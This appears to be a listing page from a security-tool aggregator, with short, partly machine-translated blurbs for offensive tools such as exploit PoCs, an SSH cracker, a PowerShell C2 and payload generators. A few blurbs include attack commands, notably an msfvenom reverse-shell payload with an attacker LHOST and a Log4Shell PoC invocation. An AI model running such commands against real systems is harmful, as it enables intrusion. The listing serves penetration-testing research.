h0neytr4p

Adattato per T-Pot Questo fork di h0neytr4p è stato revisionato per T-Pot con le seguenti funzionalità: Aggiunto supporto Docker Dockerfile, docker-compose.yml Utilizzo di un singolo file di log invece di due Log in JSON invece di CSV Arricchimento del file di log JSON con informazioni aggiuntive...

stegowiper

stegoWiper: A powerful and flexible active attack for disrupting stegomalware Over the last 10 years, many threat groups have employed stegomalware or other steganography-based techniques to attack organizations from all sectors and in all regions of the world. Some examples are: APT15/Vixen Pand...

rpi-hunter

rpi-hunter Automatizza la scoperta e l'invio di payload su Raspberry Pi in LAN tramite ssh Oppure, il titolo onesto: automatizzare sshpass per la consegna di comandi. Rpi-hunter è utile quando ci sono più Raspberry Pi sulla tua LAN con credenziali predefinite o note, per automatizzare l'invio di...

HtmlSmuggling

HtmlSmuggling L'HTML smuggling è una tecnica dannosa utilizzata dagli hacker per nascondere payload malware in uno script codificato all'interno di un allegato HTML o di una pagina web appositamente realizzati. Lo script dannoso decodifica e distribuisce il payload sul dispositivo bersaglio quand...

Insanity-Framework

Insanity-Framework QUESTO PROGETTO È ORA CHIUSO - SENTITI LIBERO DI CONTINUARLO Copyright 2017 Insanity Framework IF 2.0 FINE Scritto da: Alisson Moretto - 4w4k3 Ringraziamenti speciali a Thomas Perkins - Ekultek Insanity Payload consiste nel crittografare il tuo codice e decrittografarlo in...

RedDrop

RedDrop Exfil Server Guarda il post del blog MaverisLabs qui! RedDrop Exfil Server è un server web Python Flask per penetration tester, red teamer e professionisti della sicurezza che offre: Caricamento file Elaborazione automatica dei payload Estrazione automatica degli archivi Registrazione JSO...

elfpack

ElfPack: ELF-Binärsektions-Docking für stufenlose Payload-Zustellung Highlights Überblick über Payload-Bündelungsmechanismen: Kompilierung, Linken und Laden. Binäre Kompatibilität und Erstellung lose gekoppelter Payloads zu ihrem Auslieferungsmechanismus. Vermeidung des automatischen Ladens von...

ColdFusionPwn

ColdFusionPwn Strumento di sfruttamento per CVE-2017-3066 che mira ad Adobe ColdFusion 11/12. Descrizione Lo strumento consente di generare payload AMF serializzati per sfruttare la mancata convalida dell'input delle classi consentite. Per i dettagli, vedi il nostro post del blog. Installazione...

mal_unpack

malunpack...

CVE-2018-11776-Python-PoC

CVE-2018-11776-Python-PoC hook-s3c github.com/hook-s3c, @hooks3c su twitter Test funzionante in Python e PoC per CVE-2018-11776, originariamente apparso su; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC Cosa sta succedendo? Man Yue Mo di Semmle ha divulgato una vulnerabilità RCE in Struts...

SneakyEXE

SneakyEXE root@kitploit: /$$$$$$ /$$ /$$$$$$$$ /$$ /$$ /$$$$$$$$ /$$ $$ | $$ | $$/| $$ / $$| $$/ | $$ / /$$$$$$$ /$$$$$$ /$$$$$$ | $$ /$$ /$$ /$$| $$ | $$/ $$/| $$ | $$$$$$ | $$ $$ /$$ $$ | $$| $$ /$$/| $$ | $$| $$$$$ \ $$$$/ | $$$$$ \ $$| $$ \ $$| $$$$$$$$ /$$$$$$$| $$$$$$/ | $$ | $$| $$/ $$ $$ ...

The-Axer

L'axer sostituirà la procedura manuale di creazione dei tuoi payload con msfvenom, rendendola più semplice e molto più veloce Contatta il proprietario L'AXER TI PERMETTE DI SCEGLIERE LA PIATTAFORMA, IL FORMATO, IL CODER, BIND con un altro file e molte altre funzionalità...

Ghazi

Ghazi Ghazi è un Plugin per BurpSuite per testare vari Payload come "XSS, SQLi, SSTI, SSRF, RCE e LFI" attraverso diverse schede, dove ogni scheda sostituirà ogni parametro GET o POST con la scheda selezionata nella scheda "Proxy" o "Repeater" Scheda XSS di Ghazi che sostituisce ogni parametro co...

jwtXploiter

jwtXploiter Uno strumento per testare la sicurezza dei JSON Web Tokens. Testa un JWT contro tutte le CVE note; Manipola il payload del token: modifica i valori dei claims e subclaims. Sfrutta i claim dell'header vulnerabili noti kid, jku, x5u Verifica un token Recupera la chiave pubblica della...

Beleth

Beleth Cracker SSH basato su dizionario root@kitploit: Usage: ./beleth OPTIONS -c payload Execute payload on remote server once logged in -h Display this help -l threads Limit threads to given number. Default: 4 -p port Specify remote port -P password Use single password attempt -t target Attempt...

python-log4rce

Python Log4RCE Ein All-in-One reiner Python3 PoC für CVE-2021-44228. Beispiel root@kitploit: python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=" root@kitploit: INFO:HTTP:Running on local port 1337 INFO:HTTP:Remote target is...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Usare msfvenom per generare un Payload: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Specifica il payload una shell TCP inversa per Windows. LHOST=10.10.14.4:...

Powershell-C2

Powershell-C2 Questo attacco deriva dal mio Powershell Payload Excel Delivery, ma utilizza un metodo davvero interessante per il Command and Control/persistenza sulla macchina. Una guida dettagliata si trova qui:...

Zin

Versione 1.0 😎 Zin 😎 Un injector di payload per bug bounty scritto in go Caratteristiche Inietta più payload in tutti i parametri Inietta un singolo payload in tutti i parametri Salva le risposte in una cartella di output Mostra il codice di stato e la lunghezza della risposta Può cercare pattern...

ForceAdmin

💪 ForceAdmin 💪 ForceAdmin è un generatore di payload in C che crea infiniti pop-up UAC finché l'utente non consente l'esecuzione del programma. I comandi inseriti vengono eseguiti tramite PowerShell chiamando cmd.exe e dovrebbero usare la sintassi batch. Questo attacco li costringe a eseguire com...